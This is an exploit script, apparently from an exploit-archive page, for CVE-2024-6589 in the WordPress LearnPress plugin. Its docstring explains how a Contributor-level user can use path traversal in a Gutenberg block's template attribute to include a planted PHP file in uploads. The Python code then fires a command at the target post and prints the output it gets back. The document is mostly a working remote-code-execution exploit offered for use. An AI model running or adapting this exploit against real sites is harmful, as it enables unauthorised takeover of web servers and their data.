Share
## https://sploitus.com/exploit?id=PACKETSTORM:226413
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin LearnPress <= 4.2.6.8.1 - Authenticated (Contributor+) Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/learnpress/
    # Software Link: https://downloads.wordpress.org/plugin/learnpress.4.2.6.8.1.zip
    # Version: 4.2.6.8.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-6589
    r"""
    LearnPress <= 4.2.6.8.1 registers dynamic Gutenberg blocks learnpress/archive-course and
    learnpress/single-course whose render_content_block_template()
    (inc/block-template/class-abstract-block-template.php:68-69) passes the block's `template` attribute
    straight to Template::get_frontend_template() -> get_template() which include()s it
    (inc/Helpers/Template.php:127-129) with no sanitisation. LP_PLUGIN_PATH.'templates/'.$template with
    `template=../../../uploads/<file>.php` traverses to wp-content/uploads and includes an attacker
    planted PHP file -> RCE. There is no capability/wp_is_block_theme gate; the attribute is taken
    verbatim from post content, so a Contributor authoring a post with the block (and previewing it)
    triggers the include.
    
    Prior state: a planted .php under wp-content/uploads + a published/previewable post containing the
    learnpress/archive-course block with the traversal `template` attribute.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "PWNED6589"
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--post-id", type=int, required=True, help="id of the post carrying the block")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        r = requests.get(base + "/?p=%d" % args.post_id, params={"c": args.cmd}, verify=False, timeout=20)
        print(f"[*] Target: {base} | view post {args.post_id}")
        if TOK in r.text:
            out = r.text.split(TOK + ":")[1].split("<")[0].strip()
            print(f"\n[+] LFI -> RCE CONFIRMED โ€” planted PHP executed:\n{out}")
            return 0
        print(f"[-] not confirmed (HTTP {r.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())